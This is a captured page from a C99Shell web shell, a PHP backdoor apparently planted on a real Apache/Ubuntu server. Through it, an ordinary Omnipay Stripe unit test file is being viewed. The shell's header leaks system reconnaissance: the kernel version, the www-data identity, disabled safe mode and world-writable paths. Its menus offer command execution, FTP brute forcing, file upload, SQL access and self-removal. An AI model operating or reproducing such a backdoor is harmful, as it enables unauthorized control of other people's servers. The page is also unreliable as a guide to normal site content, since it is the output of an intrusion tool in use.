!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/omnipay/stripe/tests/Message/   drwxrwxrwx
Free 13.12 GB of 57.97 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreateTokenRequestTest.php (3.12 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Created by PhpStorm.
 * User: pedro
 * Date: 18/06/17
 * Time: 21:30
 */

namespace Omnipay\Stripe\Message;

use 
Omnipay\Tests\TestCase;

class 
CreateTokenRequestTest extends TestCase
{
    
/**
     * @var CreateTokenRequest $request
     */
    
private $request;

    public function 
setUp()
    {
        
parent::setUp();
        
$this->request = new CreateTokenRequest($this->getHttpClient(), $this->getHttpRequest());

        
$this->request->setCustomer('cus_example123');
        
$this->request->setConnectedStripeAccountHeader('acct_12oh2oi3');
    }

    public function 
testEndpoint()
    {
        
$this->assertSame('https://api.stripe.com/v1/tokens'$this->request->getEndpoint());
    }

    
/**
     * @expectedException \Omnipay\Common\Exception\InvalidRequestException
     * @expectedExceptionMessage You must pass either the card or the customer
     */
    
public function testGetDataInvalid()
    {
        
$this->request->setCustomer(null);
        
$this->request->setCard(null);

        
$this->request->getData();
    }

    public function 
testGetDataWithCard()
    {
        
$card $this->getValidCard();
        
$this->request->setCustomer(null);
        
$this->request->setCard($card);

        
$data $this->request->getData();
        
$this->assertSame($card['number'], $data['card']['number']);
        
$this->assertSame($card['expiryMonth'], $data['card']['exp_month']);
        
$this->assertSame($card['expiryYear'], $data['card']['exp_year']);
        
$this->assertSame($card['cvv'], $data['card']['cvc']);
        
$this->assertSame($card['billingAddress1'], $data['card']['address_line1']);
        
$this->assertSame($card['billingAddress2'], $data['card']['address_line2']);
        
$this->assertSame($card['billingCountry'], $data['card']['address_country']);
        
$this->assertSame($card['billingCity'], $data['card']['address_city']);
        
$this->assertSame($card['billingState'], $data['card']['address_state']);
        
$this->assertSame($card['billingPostcode'], $data['card']['address_zip']);
        
$this->assertSame($card['firstName'] . ' ' $card['lastName'], $data['card']['name']);
    }

    public function 
testGetDataWithCustomer()
    {
        
$card $this->getValidCard();
        
$this->request->setCustomer('my_customer');

        
$data $this->request->getData();
        
$this->assertSame('my_customer'$data['customer']);
    }

    public function 
testResponseFailure()
    {
        
$this->setMockHttpResponse('CreateTokenFailure.txt');
        
$response $this->request->send();

        
$this->assertFalse($response->isSuccessful());

        
$this->assertNull($response->getTransactionReference());
    }

    public function 
testResponseSuccess()
    {
        
$this->setMockHttpResponse('CreateTokenSuccess.txt');
        
$response $this->request->send();

        
$data $response->getData();
        
$this->assertTrue($response->isSuccessful());
        
$this->assertFalse($response->isRedirect());
        
$this->assertNull($response->getTransactionReference());
        
$this->assertSame('tok_1AWDl1JqXiFraDuL2xOKEXKy'$data['id']);
        
$this->assertSame('token'$data['object']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0076 ]--